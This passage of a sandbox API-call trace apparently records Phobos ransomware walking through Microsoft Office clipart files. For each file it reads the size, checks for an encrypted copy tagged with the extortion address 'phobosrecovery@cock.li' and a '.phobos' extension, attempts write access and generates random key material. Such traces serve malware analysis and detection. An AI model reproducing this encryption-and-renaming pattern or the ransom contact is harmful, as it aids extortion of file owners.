office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0149.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.368] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.369] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1382) returned 1 [0149.369] CloseHandle (hObject=0x580) returned 1 [0149.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220 [0149.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.369] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.370] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13042) returned 1 [0149.370] CloseHandle (hObject=0x580) returned 1 [0149.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220 [0149.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.370] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.370] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2700) returned 1 [0149.370] CloseHandle (hObject=0x580) returned 1 [0149.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220 [0149.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.371] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.371] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6958) returned 1 [0149.371] CloseHandle (hObject=0x580) returned 1 [0149.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0149.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.373] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13936) returned 1 [0149.373] CloseHandle (hObject=0x580) returned 1 [0149.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0149.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.374] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6938) returned 1 [0149.374] CloseHandle (hObject=0x580) returned 1 [0149.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf")) returned 0x220 [0149.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.374] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.374] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12356) returned 1 [0149.374] CloseHandle (hObject=0x580) returned 1 [0149.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0149.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.375] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.375] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6780) returned 1 [0149.375] CloseHandle (hObject=0x580) returned 1 [0149.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf")) returned 0x220 [0149.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.376] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2280) returned 1 [0149.376] CloseHandle (hObject=0x580) returned 1 [0149.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf")) returned 0x220 [0149.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.376] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.377] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=736) returned 1 [0149.377] CloseHandle (hObject=0x580) returned 1 [0149.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf")) returned 0x220 [0149.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.378] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17308) returned 1 [0149.378] CloseHandle (hObject=0x580) returned 1 [0149.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0149.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.379] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7944) returned 1 [0149.379] CloseHandle (hObject=0x580) returned 1 [0149.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0149.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.380] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.380] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17850) returned 1 [0149.380] CloseHandle (hObject=0x580) returned 1 [0149.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0149.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.381] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.381] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11994) returned 1 [0149.381] CloseHandle (hObject=0x580) returned 1 [0149.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0149.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.382] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30240) returned 1 [0149.382] CloseHandle (hObject=0x580) returned 1 [0149.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0149.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.383] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=29212) returned 1 [0149.383] CloseHandle (hObject=0x580) returned 1 [0149.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0149.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.383] CryptGenRandom (in: hProv=0x8067b0, 